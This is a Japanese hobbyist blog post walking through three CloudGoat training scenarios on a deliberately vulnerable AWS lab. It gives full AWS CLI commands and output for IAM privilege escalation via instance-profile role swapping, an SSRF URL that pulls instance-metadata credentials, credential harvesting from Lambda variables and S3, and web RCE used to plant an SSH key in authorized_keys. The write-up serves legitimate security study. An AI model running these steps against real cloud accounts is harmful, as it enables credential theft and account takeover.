CTF for BBA

ゲーム時々CTFやるBBAの日常。

AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(中編)

前編はこちら。

ctf4bba.hatenablog.com

iam_privesc_by_attachment (Medium / Moderate)


制限された権限をもつユーザー(Kerrigan)から始め、instance-profile-attachment権限を通して強い権限を持つEC2インスタンスを作成する。このサーバを利用することで管理者権限を獲得し、cg-super-critical-security-serverインスタンスの削除を行う。

./cloudgoat.py create iam_privesc_by_attachmentでシナリオに必要なリソース等が用意される。
作成されるstart.txtからaccess_key_idsecret_keyを確認し、Kerriganのprofileを作成する。
インスタンスはus-east-1にあったのでregionはそこを指定した)

% cat start.txt
cloudgoat_output_aws_account_id = 7***********
cloudgoat_output_kerrigan_access_key_id = A**************
cloudgoat_output_kerrigan_secret_key = T***************************
% aws configure --profile Kerrigan
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: T***************************
Default region name [None]: us-east-1
Default output format [None]: 

EC2インスタンスの情報を取得する。

% aws ec2 describe-instances --profile Kerrigan
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-0a313d6098716f372",
                    "InstanceId": "i-045b03b4ede5d26fa",
                    "InstanceType": "t2.micro",
(snip)
                            "SubnetId": "subnet-0f21bf0e7045f0cca",
                            "VpcId": "vpc-03763fbf983a2770d",
                            "InterfaceType": "interface"
                        }
                    ],
                    "RootDeviceName": "/dev/sda1",
                    "RootDeviceType": "ebs",
                    "SecurityGroups": [
                        {
                            "GroupName": "cg-ec2-ssh-cgiddiwm2nknha",
                            "GroupId": "sg-00297a27a3566b156"
                        },
                        {
                            "GroupName": "cg-ec2-http-cgiddiwm2nknha",
                            "GroupId": "sg-02d2e441c51036ca2"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Scenario",
                            "Value": "iam-privesc-by-attachment"
                        },
                        {
                            "Key": "Name",
                            "Value": "CloudGoat cgiddiwm2nknha super-critical-security-server EC2 Instance"
                        },
(snip)

super-critical-security-server があることを確認。

ロールのリストを取得する。

% aws iam list-roles --profile Kerrigan
{
    "Roles": [
(snip)
        {
            "Path": "/",
            "RoleName": "cg-ec2-meek-role-cgiddiwm2nknha",
            "RoleId": "A**************",
            "Arn": "arn:aws:iam::7***********:role/cg-ec2-meek-role-cgiddiwm2nknha",
            "CreateDate": "2020-10-26T06:40:17+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "cg-ec2-mighty-role-cgiddiwm2nknha",
            "RoleId": "A**************",
            "Arn": "arn:aws:iam::7***********:role/cg-ec2-mighty-role-cgiddiwm2nknha",
            "CreateDate": "2020-10-26T06:40:17+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "ec2.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ]
}

インスタンスプロファイルのリストを取得する。

% aws iam list-instance-profiles --profile Kerrigan
{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "cg-ec2-meek-instance-profile-cgiddiwm2nknha",
            "InstanceProfileId": "A**************",
            "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-meek-instance-profile-cgiddiwm2nknha",
            "CreateDate": "2020-10-26T06:40:19+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "cg-ec2-meek-role-cgiddiwm2nknha",
                    "RoleId": "A**************",
                    "Arn": "arn:aws:iam::7***********:role/cg-ec2-meek-role-cgiddiwm2nknha",
                    "CreateDate": "2020-10-26T06:40:17+00:00",
                    "AssumeRolePolicyDocument": {
                        "Version": "2012-10-17",
                        "Statement": [
                            {
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}

ユーザの権限やロールについて細かく見ていきたいが、iamコマンドはほとんど権限エラーにより実行できない。

% aws iam get-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgiddiwm2nknha --profile Kerrigan

An error occurred (AccessDenied) when calling the GetInstanceProfile operation: User: arn:aws:iam::7***********:user/kerrigan is not authorized to perform: iam:GetInstanceProfile on resource: instance profile cg-ec2-meek-instance-profile-cgiddiwm2nknha

下記を見つつ、インスタンスプロファイルのロールを入れ替える。

インスタンスプロファイルの使用 - AWS Identity and Access Management

% aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgiddiwm2nknha --role-name cg-ec2-meek-role-cgiddiwm2nknha --profile Kerrigan
% aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgiddiwm2nknha --role-name cg-ec2-mighty-role-cgiddiwm2nknha --profile Kerrigan
% aws iam list-instance-profiles --profile Kerrigan                                                                  
{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "cg-ec2-meek-instance-profile-cgiddiwm2nknha",
            "InstanceProfileId": "A**************",
            "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-meek-instance-profile-cgiddiwm2nknha",
            "CreateDate": "2020-10-26T06:40:19+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "cg-ec2-mighty-role-cgiddiwm2nknha",
                    "RoleId": "A**************",
                    "Arn": "arn:aws:iam::7***********:role/cg-ec2-mighty-role-cgiddiwm2nknha",
                    "CreateDate": "2020-10-26T06:40:17+00:00",
                    "AssumeRolePolicyDocument": {
                        "Version": "2012-10-17",
                        "Statement": [
                            {
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}

このインスタンスプロファイルを用いて、EC2インスタンスを作成する。

キーペア作成。

% aws ec2 create-key-pair --key-name mykey --query 'KeyMaterial' --output text  --profile Kerrigan > mykey.pem
% chmod 400 mykey.pem

既にあるインスタンス情報を元に、新しくインスタンスを作成。

% aws ec2 run-instances --image-id ami-0a313d6098716f372 --count 1 --instance-type t2.micro --key-name mykey --security-group-ids sg-00297a27a3566b156 --subnet-id subnet-0f21bf0e7045f0cca --profile Kerrigan
{
    "Groups": [],
    "Instances": [
        {
            "AmiLaunchIndex": 0,
            "ImageId": "ami-0a313d6098716f372",
            "InstanceId": "i-0cfdab8cc3cac014e",
            "InstanceType": "t2.micro",
            "KeyName": "mykey",
(snip)
                    "PublicDnsName": "ec2-34-205-39-12.compute-1.amazonaws.com",
                    "PublicIpAddress": "34.**.**.**",

先程作ったインスタンスプロファイルをアタッチする。

% aws ec2 associate-iam-instance-profile --iam-instance-profile Name=cg-ec2-meek-instance-profile-cgiddiwm2nknha --instance-id i-0cfdab8cc3cac014e --profile Kerrigan
{
    "IamInstanceProfileAssociation": {
        "AssociationId": "iip-assoc-0dc99a7c9c1c65fdc",
        "InstanceId": "i-0cfdab8cc3cac014e",
        "IamInstanceProfile": {
            "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-meek-instance-profile-cgiddiwm2nknha",
            "Id": "A**************"
        }
    }
}

作ったインスタンスにログインする。
ここでユーザー名がec2-userだと信じ込んでめちゃくちゃ詰まったが、ubuntuベースのイメージだったようだ。
(describe-imagesコマンドも使えないので、下記を見て色々試すしかない?)。

インスタンスに接続するための一般的な前提条件 - Amazon Elastic Compute Cloud

% ssh -i mykey.pem ubuntu@ec2-34-205-39-12.compute-1.amazonaws.com

ログインしたらaws cliをインストールし、super-critical-security-server インスタンスを終了する。
(リージョン未指定で実行するとaws configを勧められるが、Kerriganのプロファイルを設定したりしてはならない。Kerriganの権限になってしまうので)

$ sudo apt-get update
(snip)
$ sudo apt-get install awscli
(snip)
$ aws ec2 terminate-instances --instance-ids i-045b03b4ede5d26fa --region us-east-1
{
    "TerminatingInstances": [
        {
            "CurrentState": {
                "Code": 32,
                "Name": "shutting-down"
            },
            "InstanceId": "i-045b03b4ede5d26fa",
            "PreviousState": {
                "Code": 16,
                "Name": "running"
            }
        }
    ]
}

インスタンスを終了することができた。


ec2_ssrf (Medium / Moderate)


IAMユーザSolusから始め、SSRF(サーバーサイドリクエストフォージェリ)脆弱性を悪用してEC2インスタンスメタデータを取得し、S3バケットからキーを取得し、最終的にlambdaを実行するというシナリオ。

プロファイル作成。

% aws configure --profile Solus
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: 9***************************
Default region name [None]: us-east-1
Default output format [None]: 

lambdaのリストを取得する。

% aws lambda list-functions --profile Solus                   
{
    "Functions": [
        {
            "FunctionName": "cg-lambda-cgiddgrht8vvbl",
            "FunctionArn": "arn:aws:lambda:us-east-1:7***********:function:cg-lambda-cgiddgrht8vvbl",
            "Runtime": "python3.6",
            "Role": "arn:aws:iam::7***********:role/cg-lambda-role-cgiddgrht8vvbl-service-role",
            "Handler": "lambda.handler",
            "CodeSize": 223,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2021-01-04T00:24:22.173+0000",
            "CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "EC2_ACCESS_KEY_ID": "A**************",
                    "EC2_SECRET_KEY_ID": "P***************************"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "7c63ca8b-32a3-4cb0-930d-6f517763c68c"
        }
    ]
}

lambdaの環境変数にアクセスキーとシークレットキーが保存されていた。
これを利用してプロファイルを設定する。

% aws configure --profile cglambda
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: P***************************
Default region name [None]: us-east-1
Default output format [None]: 

このプロファイルを利用してインスタンスを調査する。

% aws ec2 describe-instances --profile cglambda
{
    "Reservations": [
(snip)
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-0a313d6098716f372",
                    "InstanceId": "i-07f309fa8efbc0cd9",
                    "InstanceType": "t2.micro",
                    "KeyName": "cg-ec2-key-pair-cgiddgrht8vvbl",
(snip)
                    "PrivateDnsName": "ip-10-10-10-148.ec2.internal",
                    "PrivateIpAddress": "10.10.10.148",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-3-237-242-98.compute-1.amazonaws.com",
                    "PublicIpAddress": "3.**.**.**",
(snip)
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-3-237-242-98.compute-1.amazonaws.com",
                                "PublicIp": "3.**.**.**"
                            },
                            "Attachment": {
                                "AttachTime": "2021-01-04T00:24:35+00:00",
                                "AttachmentId": "eni-attach-0d00af75a1683b4ff",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached"
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupName": "cg-ec2-ssh-cgiddgrht8vvbl",
                                    "GroupId": "sg-06612a05324e1bbc1"
                                },
                                {
                                    "GroupName": "cg-ec2-http-cgiddgrht8vvbl",
                                    "GroupId": "sg-08d0897fa5f8b836f"
                                }
                            ],
                            "Ipv6Addresses": [],
                            "MacAddress": "02:83:0e:dc:92:59",
                            "NetworkInterfaceId": "eni-04f3ab75ab46575b3",
                            "OwnerId": "7***********",
                            "PrivateDnsName": "ip-10-10-10-148.ec2.internal",
                            "PrivateIpAddress": "10.10.10.148",
                            "PrivateIpAddresses": [
                                {
                                    "Association": {
                                        "IpOwnerId": "amazon",
                                        "PublicDnsName": "ec2-3-237-242-98.compute-1.amazonaws.com",
                                        "PublicIp": "3.**.**.**"
                                    },
                                    "Primary": true,
                                    "PrivateDnsName": "ip-10-10-10-148.ec2.internal",
                                    "PrivateIpAddress": "10.10.10.148"
                                }
                            ],
(snip)
                    "SecurityGroups": [
                        {
                            "GroupName": "cg-ec2-ssh-cgiddgrht8vvbl",
                            "GroupId": "sg-06612a05324e1bbc1"
                        },
                        {
                            "GroupName": "cg-ec2-http-cgiddgrht8vvbl",
                            "GroupId": "sg-08d0897fa5f8b836f"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Name",
                            "Value": "cg-ubuntu-ec2-cgiddgrht8vvbl"
                        },
                        {
                            "Key": "Scenario",
                            "Value": "ec2-ssrf"
                        },
                        {
                            "Key": "Stack",
                            "Value": "CloudGoat"
                        }
                    ],
(snip)
}

httpアクセスが許可されているのでルートディレクトリにアクセスしてみると、エラー。

f:id:boxwolf:20210104093700p:plain

urlパラメータが設定されていないエラーの模様。
そこで/?url=https://www.google.com/にアクセスしてみると、レイアウトは崩れているが、googleの画面が表示される。

f:id:boxwolf:20210104141114p:plain

このurlパラメータにはssrf脆弱性があり、インスタンスからメタデータを参照可能なURLhttp://169.254.169.254/latest/meta-data/などを受け付けてしまう。
http://ec2-3-237-242-98.compute-1.amazonaws.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgiddgrht8vvblを参照し、インスタンスのロールを使用する。

{ "Code" : "Success", "LastUpdated" : "2021-01-04T05:19:47Z", "Type" : "AWS-HMAC", "AccessKeyId" : "A**************", "SecretAccessKey" : "r***************************", "Token" : "(snip)", "Expiration" : "2021-01-04T11:23:31Z" }

クレデンシャル情報を~/.aws/credentialsに保存する。

[ec2role]
aws_access_key_id = A**************
aws_secret_access_key = r***************************
aws_session_token = (snip)

このロールを利用すると、s3にアクセス可能。

% aws s3 ls --profile ec2role
2021-01-04 09:24:14 cg-secret-s3-bucket-cgiddgrht8vvbl
% aws s3 ls s3://cg-secret-s3-bucket-cgiddgrht8vvbl --profile ec2role
2021-01-04 09:24:28         62 admin-user.txt
% aws s3 cp s3://cg-secret-s3-bucket-cgiddgrht8vvbl/admin-user.txt . --profile ec2role
download: s3://cg-secret-s3-bucket-cgiddgrht8vvbl/admin-user.txt to ./admin-user.txt
% cat admin-user.txt 
A**************
M***************************

adminと思われるユーザの認証情報を取得できた。

~/.aws/credentialsに認証情報、~/.aws/configにリージョンを書き込み、ゴールであるlambda実行を目指す。

% aws lambda invoke --function-name cg-lambda-cgiddgrht8vvbl output --profile admin-user
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
% cat output 
"You win!"

lambdaが実行できた。


rce_web_app (Medium / Hard)


このシナリオには二つのルートがある。
ユーザーLalaから始め、脆弱性のあるWebアプリケーション上のRCEを悪用して機密情報を取得し、最終的にRDSにアクセスするものと、あるいはユーザーMcDuckから始め、S3バケットを列挙し、SSHキーを用いてEC2インスタンス、データベースへの接続を行うというもの。

cloudgoat_output_aws_account_id = 7***********
cloudgoat_output_lara_access_key_id = A**************
cloudgoat_output_lara_secret_key = M***************************
cloudgoat_output_mcduck_access_key_id = A**************
cloudgoat_output_mcduck_secret_key = /***************************

まずプロファイルの設定。
regionは調査していくうちにus-east-1とわかったので、途中で設定した。

% aws configure --profile Lala
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: M***************************
Default region name [None]: us-east-1
Default output format [None]: 
% aws configure --profile McDuck
AWS Access Key ID [None]: A**************
AWS Secret Access Key [None]: /***************************
Default region name [None]: us-east-1
Default output format [None]: 

まずはMcDuckの方から。

% aws s3 ls --profile McDuck
2021-01-05 11:56:08 cg-keystore-s3-bucket-cgid2r2jsy7ea2
2021-01-05 11:56:07 cg-logs-s3-bucket-cgid2r2jsy7ea2
2021-01-05 11:56:07 cg-secret-s3-bucket-cgid2r2jsy7ea2
% aws s3 ls s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2 --profile McDuck
2021-01-05 11:56:24       3389 cloudgoat
2021-01-05 11:56:24        747 cloudgoat.pub
% aws s3 ls s3://cg-secret-s3-bucket-cgid2r2jsy7ea2 --profile McDuck

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
% aws s3 cp s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2/cloudgoat . --profile McDuck
download: s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2/cloudgoat to ./cloudgoat
% file cloudgoat
cloudgoat: OpenSSH private key

cg-secret-s3にはアクセスできないが、cg-keystore-s3の方にはアクセス可能。 s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2/cloudgoat秘密鍵かも?ということでダウンロードする。

% aws ec2 describe-instances --profile McDuck
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-0a313d6098716f372",
                    "InstanceId": "i-0596d5ff28ec82eba",
                    "InstanceType": "t2.micro",
                    "KeyName": "cg-ec2-key-pair-cgid2r2jsy7ea2",
(snip)
                    "PrivateDnsName": "ip-10-0-10-172.ec2.internal",
                    "PrivateIpAddress": "10.0.10.172",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com",
                    "PublicIpAddress": "3.**.**.**",
(snip)
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com",
                                "PublicIp": "3.**.**.**"
                            },
                            "Attachment": {
                                "AttachTime": "2021-01-05T03:21:35+00:00",
                                "AttachmentId": "eni-attach-098c1dff72961ca62",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached"
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2",
                                    "GroupId": "sg-0bce043c5a9068906"
                                },
                                {
                                    "GroupName": "cg-ec2-http-cgid2r2jsy7ea2",
                                    "GroupId": "sg-0f6a9a28432225095"
                                }
                            ],
(snip)
                    "SecurityGroups": [
                        {
                            "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2",
                            "GroupId": "sg-0bce043c5a9068906"
                        },
                        {
                            "GroupName": "cg-ec2-http-cgid2r2jsy7ea2",
                            "GroupId": "sg-0f6a9a28432225095"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Name",
                            "Value": "cg-ubuntu-ec2-cgid2r2jsy7ea2"
                        },
                        {
                            "Key": "Stack",
                            "Value": "CloudGoat"
                        },
                        {
                            "Key": "Scenario",
                            "Value": "rce-web-app"
                        }
                    ],
(snip)
}

タグにubuntuとあるのでubunutuでログインする。

% ssh -i cloudgoat ubuntu@3.**.**.**
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1032-aws x86_64)
(snip)
ubuntu@ip-10-0-10-172:~$ apt-get update
(snip)
root@ip-10-0-10-172:~# apt-get install awscli
(snip)

このインスタンスからcg-secret-s3にアクセスできるか試す。 (なおこのインスタンスのプロファイルは、このインスタンスやMcDuckの権限では見られなかった)

root@ip-10-0-10-172:~# aws s3 ls
2021-01-05 02:56:08 cg-keystore-s3-bucket-cgid2r2jsy7ea2
2021-01-05 02:56:07 cg-logs-s3-bucket-cgid2r2jsy7ea2
2021-01-05 02:56:07 cg-secret-s3-bucket-cgid2r2jsy7ea2
root@ip-10-0-10-172:~# aws s3 ls s3://cg-secret-s3-bucket-cgid2r2jsy7ea2
2021-01-05 02:56:24        282 db.txt
root@ip-10-0-10-172:~# aws s3 cp s3://cg-secret-s3-bucket-cgid2r2jsy7ea2/db.txt .
download: s3://cg-secret-s3-bucket-cgid2r2jsy7ea2/db.txt to ./db.txt
root@ip-10-0-10-172:~# cat db.txt 
Dear Tomas - For the LAST TIME, here are the database credentials. Save them to your password manager, and delete this file when you've done so! This is definitely in breach of our security policies!!!!

DB name: cloudgoat
Username: cgadmin
Password: Purplepwny2029

Sincerely,

DBの接続情報が得られた。

root@ip-10-0-10-172:~# aws rds describe-db-instances --region us-east-1
{
    "DBInstances": [
        {
            "DBInstanceIdentifier": "cg-rds-instance-cgid2r2jsy7ea2",
            "DBInstanceClass": "db.t2.micro",
            "Engine": "postgres",
            "DBInstanceStatus": "available",
            "MasterUsername": "cgadmin",
            "DBName": "cloudgoat",
            "Endpoint": {
                "Address": "cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com",
                "Port": 5432,
                "HostedZoneId": "Z2R2ITUGPM61AM"
            },
(snip)
            "DBParameterGroups": [
                {
                    "DBParameterGroupName": "default.postgres9.6",
                    "ParameterApplyStatus": "in-sync"
                }
            ],
            "AvailabilityZone": "us-east-1b",
            "DBSubnetGroup": {
                "DBSubnetGroupName": "cloud-goat-rds-subnet-group-cgid2r2jsy7ea2",
                "DBSubnetGroupDescription": "CloudGoat cgid2r2jsy7ea2 Subnet Group",
                "VpcId": "vpc-0b5602eac7774a199",
                "SubnetGroupStatus": "Complete",
                "Subnets": [
                    {
                        "SubnetIdentifier": "subnet-0402e51078f5ca5b0",
                        "SubnetAvailabilityZone": {
                            "Name": "us-east-1a"
                        },
                        "SubnetStatus": "Active"
                    },
                    {
                        "SubnetIdentifier": "subnet-02d780195cd136c73",
                        "SubnetAvailabilityZone": {
                            "Name": "us-east-1b"
                        },
                        "SubnetStatus": "Active"
                    }
                ]
            },
(snip)
}

postgresのようなので、下記を見ながらDBに接続。

PostgreSQL DB インスタンスを作成して PostgreSQL DB インスタンスのデータベースに接続する - Amazon Relational Database Service

root@ip-10-0-10-172:~# psql --host=cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com --port=5432 --username=cgadmin --password --dbname=cloudgoat
Password for user cgadmin: 
psql (10.15 (Ubuntu 10.15-0ubuntu0.18.04.1), server 9.6.19)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

cloudgoat=> 

接続できた。
後は中身を掘っていく。

cloudgoat=> \dt
                List of relations
 Schema |         Name          | Type  |  Owner  
--------+-----------------------+-------+---------
 public | sensitive_information | table | cgadmin
(1 row)

cloudgoat=> select * from sensitive_information;
         name          |           value            
-----------------------+----------------------------
 Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b
(1 row)

隠された文字列を取得できた。


次に、ユーザーLala側のシナリオを実施する。
まずはs3を見てみる。

% aws s3 ls s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2 --profile Lala

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
% aws s3 ls s3://cg-secret-s3-bucket-cgid2r2jsy7ea2 --profile Lala  

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
% aws s3 ls s3://cg-logs-s3-bucket-cgid2r2jsy7ea2 --profile Lala  
                           PRE cg-lb-logs/
% aws s3 ls s3://cg-logs-s3-bucket-cgid2r2jsy7ea2 --recursive --profile Lala
2021-01-05 11:58:02         95 cg-lb-logs/AWSLogs/746321857124/ELBAccessLogTestFile
2021-01-05 11:56:25      18367 cg-lb-logs/AWSLogs/746321857124/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log

cb-lb-logsというプレフィックスが存在する。
プレフィックスについてよく知らなかったので調べた)

Amazon S3 のプレフィックスとネストされたフォルダの違いを理解する

上記のELB関連のファイルとログをダウンロードしておく。
ログの内容は下記のようなものが並んでいる。

http 2019-06-18T21:36:23.594569Z app/cg-lb-cgidp347lhz47g/d36d4f13b73c2fe7 10.10.10.23:5132 10.0.10.254:9000 0.001 0.001 0.000 200 200 485 1287 "GET http://cg-lb-cgidp143lhz47g-6811174442.us-east-1.elb.amazonaws.com:80/mkja1xijqf0abo1h9glg.html HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" - - arn:aws:elasticloadbalancing:us-east-1:555555555555:targetgroup/cg-target-group-cgidp347lhz47g/a5700c43a71e4c94 "Root=1-5d095963-e2b838a764ed31d017b74cce" "-" "-" 0 2019-06-18T21:36:35.592000Z "forward" "-" "-"

さらに、ELBを見てみる。

% aws elbv2 describe-load-balancers --profile Lala
{
    "LoadBalancers": [
        {
            "LoadBalancerArn": "arn:aws:elasticloadbalancing:us-east-1:7***********:loadbalancer/app/cg-lb-cgid2r2jsy7ea2/380dab576765974a",
            "DNSName": "cg-lb-cgid2r2jsy7ea2-1136573408.us-east-1.elb.amazonaws.com",
            "CanonicalHostedZoneId": "Z35SXDOTRQ7X7K",
            "CreatedTime": "2021-01-05T02:56:29.710000+00:00",
            "LoadBalancerName": "cg-lb-cgid2r2jsy7ea2",
            "Scheme": "internet-facing",
            "VpcId": "vpc-0b5602eac7774a199",
            "State": {
                "Code": "active"
            },
            "Type": "application",
            "AvailabilityZones": [
                {
                    "ZoneName": "us-east-1b",
                    "SubnetId": "subnet-034b97f262e450858",
                    "LoadBalancerAddresses": []
                },
                {
                    "ZoneName": "us-east-1a",
                    "SubnetId": "subnet-0e254816a74359998",
                    "LoadBalancerAddresses": []
                }
            ],
            "SecurityGroups": [
                "sg-0e27235925f096231"
            ],
            "IpAddressType": "ipv4"
        }
    ]
}

ログに書かれていたパスと上記のDNS名を組み合わせてアクセスすると、http://cg-lb-cgid2r2jsy7ea2-1136573408.us-east-1.elb.amazonaws.com/mkja1xijqf0abo1h9glg.htmlにアクセスすると、下記になる。

f:id:boxwolf:20210106172727p:plain

このサイトは任意のコードが実行可能。

f:id:boxwolf:20210106173216p:plain

ここで、インスタンス情報を見ると、
(なお、この辺りでめちゃくちゃ詰まって答えを見た…)

% aws ec2 describe-instances --profile Lala
{
    "Reservations": [
        {
            "Groups": [],
            "Instances": [
                {
                    "AmiLaunchIndex": 0,
                    "ImageId": "ami-0a313d6098716f372",
                    "InstanceId": "i-0596d5ff28ec82eba",
                    "InstanceType": "t2.micro",
                    "KeyName": "cg-ec2-key-pair-cgid2r2jsy7ea2",
(snip)
                    "PrivateDnsName": "ip-10-0-10-172.ec2.internal",
                    "PrivateIpAddress": "10.0.10.172",
                    "ProductCodes": [],
                    "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com",
                    "PublicIpAddress": "3.**.**.**",
                    "State": {
                        "Code": 16,
                        "Name": "running"
                    },
                    "StateTransitionReason": "",
                    "SubnetId": "subnet-0e254816a74359998",
                    "VpcId": "vpc-0b5602eac7774a199",
(snip)
                    "NetworkInterfaces": [
                        {
                            "Association": {
                                "IpOwnerId": "amazon",
                                "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com",
                                "PublicIp": "3.**.**.**"
                            },
                            "Attachment": {
                                "AttachTime": "2021-01-05T03:21:35+00:00",
                                "AttachmentId": "eni-attach-098c1dff72961ca62",
                                "DeleteOnTermination": true,
                                "DeviceIndex": 0,
                                "Status": "attached"
                            },
                            "Description": "",
                            "Groups": [
                                {
                                    "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2",
                                    "GroupId": "sg-0bce043c5a9068906"
                                },
                                {
                                    "GroupName": "cg-ec2-http-cgid2r2jsy7ea2",
                                    "GroupId": "sg-0f6a9a28432225095"
                                }
                            ],
(snip)
                    "SecurityGroups": [
                        {
                            "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2",
                            "GroupId": "sg-0bce043c5a9068906"
                        },
                        {
                            "GroupName": "cg-ec2-http-cgid2r2jsy7ea2",
                            "GroupId": "sg-0f6a9a28432225095"
                        }
                    ],
                    "SourceDestCheck": true,
                    "Tags": [
                        {
                            "Key": "Name",
                            "Value": "cg-ubuntu-ec2-cgid2r2jsy7ea2"
                        },
                        {
                            "Key": "Stack",
                            "Value": "CloudGoat"
                        },
                        {
                            "Key": "Scenario",
                            "Value": "rce-web-app"
                        }
                    ],
(snip)
}

sshが可能そうなセキュリティグループが設定されている。

手元で% ssh-keygen -t rsa -b 2048コマンドを実行してキーペアを作成(鍵長が長すぎるとechoコマンドが失敗する)、
echo "[id_rsa.pubの内容]" >> /home/ubuntu/.ssh/authorized_keysを実行し、インスタンスのauthorized_keysに公開鍵を登録する。
(whoamiを実行すると、コマンドの実行ユーザがrootであることがわかるので、ubuntuユーザに設定する場合はフルパスで指定する)

これで手元の秘密鍵インスタンスにログインが可能になる。

% ssh -i id_rsa ubuntu@3.**.**.** 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1032-aws x86_64)
(snip)
ubuntu@ip-10-0-10-172:~$ 

ここで、curl http://169.254.169.254/latest/user-dataを実行すると、下記の起動コマンドが得られる。 (ユーザーデータについては下記)

インスタンスユーザーデータの使用 - Amazon Elastic Compute Cloud

#!/bin/bash
apt-get update
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs postgresql-client unzip
psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/cloudgoat \
-c "CREATE TABLE sensitive_information (name VARCHAR(50) NOT NULL, value VARCHAR(50) NOT NULL);"
psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/cloudgoat \
-c "INSERT INTO sensitive_information (name,value) VALUES ('Super-secret-passcode',E'V\!C70RY-4hy2809gnbv40h8g4b');"
sleep 15s
cd /home/ubuntu
unzip app.zip -d ./app
cd app
node index.js &
